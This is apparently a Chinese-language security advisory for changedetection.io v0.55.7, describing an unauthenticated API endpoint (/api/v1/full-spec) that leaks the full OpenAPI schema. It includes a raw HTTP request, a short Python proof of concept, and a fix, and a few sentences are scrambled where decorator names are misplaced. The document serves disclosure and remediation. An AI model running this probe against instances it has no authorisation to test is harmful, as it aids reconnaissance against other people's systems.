产品: dgtlmoon/changedetection.io — v0.55.7
文件: changedetectionio/api/Spec.py
CWE: CWE-306 — 关键功能缺少身份验证
CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N — 5.3(中危)
CNA: Turan Security · CVE 记录
changedetection.io 的 REST API 资源受 @auth.check_token 装饰器保护,
该装饰器用于校验调用方的 x-api-key 请求头——但注册在
/api/v1/full-spec(changedetectionio/api/Spec.py)的 Spec 资源例外,其 方法既未使用
,也未使用 。
get@auth.check_token@validate_openapi_request任何未经身份验证的网络客户端都可以获取该实例的完整 OpenAPI 架构, 在无需提供任何 API 密钥的情况下泄露完整的内部 API 接口(所有资源路径、参数和响应 结构)。虽然该架构本身并非敏感的用户数据, 但它向攻击者提供了一张完整、权威的 API 端点地图,标明了所有其他可攻击的端点—— 从而降低了对该实例实际受保护资源进行进一步侦察的成本。
GET /api/v1/full-spec HTTP/1.1
Host: target-instance
无需 x-api-key 请求头、Cookie 或任何凭据,响应即为完整的 OpenAPI
规范文档。
概念验证(Python):
import requests
import sys
target = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:5000"
resp = requests.get(f"{target}/api/v1/full-spec", timeout=10)
print(f"[*] Status: {resp.status_code}")
if resp.status_code == 200:
print("[+] Full OpenAPI schema disclosed with zero authentication:")
print(resp.text[:1000])
API 中所有其他 REST 资源的处理方法都应用了 @auth.check_token(以及
@validate_openapi_request)装饰;而 Spec 资源的 get
方法并未以相同方式装饰,使其成为本应由 API 密钥保护的接口中唯一未经身份验证的端点。
参照所有其他 API 资源,为 Spec.get() 应用 @auth.check_token;或者,如果该架构本就打算公开,就应将其作为一项明确且记录在案的决策,而不是一处不一致。